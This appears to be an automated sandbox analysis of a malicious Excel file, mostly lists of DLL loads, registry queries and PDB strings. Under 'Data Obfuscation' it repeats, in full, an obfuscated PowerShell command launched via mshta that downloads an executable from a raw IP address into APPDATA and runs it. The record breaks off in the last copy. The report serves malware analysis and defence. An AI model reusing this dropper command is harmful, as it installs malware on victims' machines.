              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
              Source: C:\Windows\System32\mshta.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: webio.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: nlaapi.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: oleacc.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: sxs.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: scrrun.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: msls31.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: d2d1.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: dwrite.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: dxgi.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: d3d11.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: d3d10warp.dllJump to behavior
              Source: C:\Windows\System32\cmd.exeSection loaded: winbrand.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: bcrypt.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: version.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: shcore.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: rstrtmgr.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: ncrypt.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: bcrypt.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: webio.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: nlaapi.dllJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeSection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: webio.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: nlaapi.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: oleacc.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: sxs.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: scrrun.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: msls31.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: d2d1.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: dwrite.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: dxgi.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: d3d11.dllJump to behavior
              Source: C:\Windows\System32\mshta.exeSection loaded: d3d10warp.dllJump to behavior
              Source: C:\Windows\System32\cmd.exeSection loaded: winbrand.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dll
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: version.dll
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: mscoree.dll
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptsp.dll
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptsp.dll
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: version.dll
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: bcrypt.dll
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: cryptsp.dll
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: amsi.dll
              Source: C:\Users\user\AppData\Roaming\igccu.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
              Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SettingsJump to behavior
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
              Source: Binary string: R5C:\Users\user\AppData\Roaming\igccu.PDB source: igccu.exe, 00000019.00000002.491692017.0000000000202000.00000004.00000010.00020000.00000000.sdmp
              Source: Binary string: 7C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.pdbhPN source: powershell.exe, 00000016.00000002.468874480.0000000002722000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: :\Windows\mscorlib.pdbpdblib.pdbI source: igccu.exe, 00000019.00000002.494114228.000000001B4C4000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: .pdbm@ source: powershell.exe, 00000016.00000002.472896724.000000001AD88000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: 7C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.pdb source: powershell.exe, 00000016.00000002.468874480.0000000002722000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: C:\Users\user\AppData\Roaming\igccu.PDB source: igccu.exe, 00000019.00000002.491692017.0000000000202000.00000004.00000010.00020000.00000000.sdmp
              Source: Binary string: 7C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.pdb source: powershell.exe, 00000006.00000002.425125733.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: .pdb' source: powershell.exe, 00000006.00000002.429063376.000000001C433000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: v[m\ries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: igccu.exe, 00000019.00000002.491778313.00000000003E9000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: :\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: igccu.exe, 00000019.00000002.491778313.000000000038B000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: 7C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.pdbhPN source: powershell.exe, 00000006.00000002.425125733.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: :\Windows\Microsoft.VisualBasic.pdbpdbsic.pdb source: igccu.exe, 00000019.00000002.491778313.000000000038B000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: 2wigccu.PDB source: igccu.exe, 00000019.00000002.491692017.0000000000202000.00000004.00000010.00020000.00000000.sdmp
              Source: ~DF7431E8E57B77308E.TMP.0.drInitial sample: OLE indicators vbamacros = False
              Source: Quotation.xlsInitial sample: OLE indicators encrypted = True

              Data Obfuscation

              barindex
              PowerShell case anomaly found
              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCI